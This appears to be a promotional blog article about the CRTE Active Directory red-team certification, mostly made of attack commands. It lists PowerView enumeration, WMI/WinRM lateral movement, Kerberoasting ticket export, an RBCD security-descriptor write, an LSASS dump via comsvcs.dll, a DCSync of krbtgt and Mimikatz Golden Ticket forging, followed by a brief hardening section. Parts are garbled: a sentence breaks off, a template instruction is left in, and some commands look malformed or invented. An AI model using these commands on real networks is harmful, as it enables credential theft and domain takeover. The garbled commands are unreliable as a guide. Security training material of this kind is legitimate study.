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Introduction:
The Certified Red Team Expert (CRTE) certification from Altered Security represents a pinnacle of practical, offensive security prowess, specifically targeting Microsoft Windows Active Directory environments. This grueling 48-hour examination pushes candidates to their limits, testing advanced techniques in post-exploitation, lateral movement, and domain compromise, simulating a persistent adversary’s attack chain from initial access to total control.
Learning Objectives:
- Understand the core attack methodologies tested in the CRTE exam against Active Directory.
- Acquire practical command-line skills for enumeration, lateral movement, and privilege escalation.
- Learn key mitigation strategies to defend against the advanced attacks practiced by red teams.
You Should Know:
1. Initial Enumeration & Domain Mapping
The first step after gaining a foothold is to understand the landscape. This involves enumerating users, computers, groups, and trust relationships within the target Active Directory domain.
` PowerView Enumeration Commands`
`Get-NetComputer | Select-Object name, operatingsystem`
`Get-NetUser | Select-Object samaccountname, description, lastlogon`
`Get-NetDomainTrust`
Step-by-step guide: These PowerView cmdlets are essential for initial reconnaissance. `Get-NetComputer` lists all joined computers and their OS, helping identify potential targets. `Get-NetUser` extracts user accounts and their details, often revealing service accounts or users with weak passwords. `Get-NetDomainTrust` maps trust relationships between domains, which can be crucial for planning cross-domain attacks. Import PowerView into your PowerShell session before execution.
2. Lateral Movement via WMI and WinRM
Lateral movement is critical for expanding your reach within the network. Windows Management Instrumentation (WMI) and WinRM are common, legitimate protocols abused by attackers.
` Lateral Movement with WMI (Creating a Process on a Remote Host)`
`$Cred = Get-Credential`
`Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList “calc.exe” -ComputerName “TARGET01” -Credential $Cred`
` Lateral Movement with WinRM (Interactive PowerShell Session)`
`Enter-PSSession -ComputerName TARGET01 -Credential $Cred`
Step-by-step guide: The WMI command uses credentialed access to create a process (calc.exe as a benign example) on a remote computer. `Enter-PSSession` establishes a full, interactive PowerShell session on the remote host via WinRM, provided it is enabled. Always ensure you have valid credentials for a user with local admin rights on the target machine.
3. Kerberoasting for Privilege Escalation
Kerberoasting is a powerful attack that targets service accounts in Active Directory, often leading to privilege escalation.
` Requesting Kerberos Service Tickets for Offline Cracking`
`Add-Type -AssemblyName System.IdentityModel`
`Set-DefaultAttackDomain CORP.LOCAL`
`Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | Export-Csv .\kerberoast_hashes.csv -NoTypeInformation`
Step-by-step guide: This series of commands (using PowerView) finds all user accounts with Service Principal Names (SPNs), requests their Kerberos tickets, and exports them in a format suitable for offline cracking with tools like Hashcat. Crack the resulting hashes to reveal plaintext passwords of service accounts, which often have elevated privileges.
4. Abusing ACLs and Delegation
Misconfigured Access Control Lists (ACLs) and Kerberos delegations can provide paths to domain admin privileges.
` Enabling Resource-Based Constrained Delegation for Computer Object Takeover`
`$ComputerSID = Get-DomainComputer -Identity WEBSERVER | Select-Object -ExpandProperty objectsid`
`$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList “O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSID))”`
`$SDBytes = New-Object byte[] ($SD.BinaryLength)`
`$SD.GetBinaryForm($SDBytes, 0)`
`Get-DomainComputer -Identity TARGET01 | Set-DomainObject -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes}`
Step-by-step guide: This advanced technique configures Resource-Based Constrained Delegation (RBCD) on a target computer account (TARGET01) to allow another computer (WEBSERVER) to impersonate users on it. This requires control over the computer object you are configuring to act on behalf of others. This can lead to full compromise of the target computer.
5. Dumping Credentials from LSASS
Dumping the LSASS process memory is a classic method for obtaining hashes and tickets of logged-on users.
` Dumping LSASS with built-in Comsvcs.dll (LOLBAS)`
`tasklist /fi “imagename eq lsass.exe”`
`rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump lsass.dmp full`
` Dumping LSASS with SharpKatz (C tool)`
`SharpKatz.exe –Command lsadump::dcsync /user:CORP\krbtgt`
Step-by-step guide: The first method uses a legitimate Windows DLL (comsvcs.dll) to create a minidump of the LSASS process, which can then be parsed offline with tools like Mimikatz. Replace `
6. Persistence via Golden Ticket Attack
A Golden Ticket provides persistent, stealthy access to the domain by forging Kerberos Ticket-Granting Tickets (TGTs).
` Forging a Golden Ticket with Mimikatz`
`mimikatz kerberos::golden /user:Administrator /domain:CORP.LOCAL /sid:S-1-5-21-… /krbtgt:a9bcfcde… /id:500 /ptt`
Step-by-step guide: This Mimikatz command forges a TGT. The `/user` and `/id` parameters define the user and their group memberships (500 is the Admin RID). The `/domain` and `/sid` are for the target domain. The `/krbtgt` parameter requires the NTLM hash of the domain’s krbtgt account, obtained through a previous compromise. `/ptt` injects the ticket into the current session, granting immediate domain admin access.
7. Defensive Mitigations and Hardening
Understanding the attacks is only half the battle; implementing robust defenses is crucial.
` PowerShell Command to Audit for Kerberoastable Accounts`
`Get-ADUser -Filter {ServicePrincipalName -ne “$null”} -Properties ServicePrincipalName, PasswordLastSet, LastLogonDate | Where-Object { $_.PasswordLastSet -lt (Get-Date).AddDays(-180) } | Select-Object SamAccountName, ServicePrincipalName`
` Windows Command to Enable LSA Protection (Requires Reboot)`
`REG ADD “HKLM\SYSTEM\CurrentControlSet\Control\Lsa” /v RunAsPPL /t REG_DWORD /d 1 /f`
Step-by-step guide: The PowerShell command audits for service accounts with old passwords, which are prime Kerberoasting targets. The `reg add` command enables LSA Protection (PPL), which prevents unauthorized processes like Mimikatz from reading LSASS memory directly. This must be configured alongside Credential Guard for maximum effectiveness and requires a system reboot.
What Undercode Say:
- The CRTE’s intense focus on a 48-hour exam validates not just knowledge, but endurance and real-world problem-solving under pressure, separating theoreticians from practitioners.
- The curriculum’s deep dive into modern AD attack chains, beyond standard tool usage, provides a critical understanding of the underlying abuse cases that define today’s threat landscape.
+ analysis around 10 lines.
The value of certifications like the CRTE lies in their ability to simulate the high-pressure, time-sensitive environment of a real-world breach. It forces engineers to move beyond script-based exploitation and develop a thorough understanding of Windows authentication internals, from Kerberos tickets to access tokens. This depth of knowledge is what enables effective defense; you cannot hope to protect a system you do not fully understand. The techniques tested, such as ACL abuse and delegation attacks, are increasingly prevalent in sophisticated ransomware and state-sponsored attacks, making this skillset directly relevant to modern defensive operations. Ultimately, the CRTE represents a shift towards certifications that prove an ability to think like an attacker, not just use their tools.
Prediction:
The offensive techniques validated by certifications like CRTE will rapidly proliferate into the toolkits of advanced persistent threats (APTs) and ransomware-as-a-service (RaaS) groups, leading to an increase in the speed and efficiency of enterprise network compromise. This will force a paradigm shift in defensive strategies, moving beyond perimeter-based security and simple endpoint detection towards pervasive Zero-Trust architectures, mandatory multi-factor authentication even on internal networks, and heavily segmented environments with micro-perimeters. The focus will be on increasing the adversary’s cost of operation by protecting the crown jewels—domain admin privileges and the keys to the Kerberos kingdom.
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Reported By: https://lnkd.in/p/dYJxydY9 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
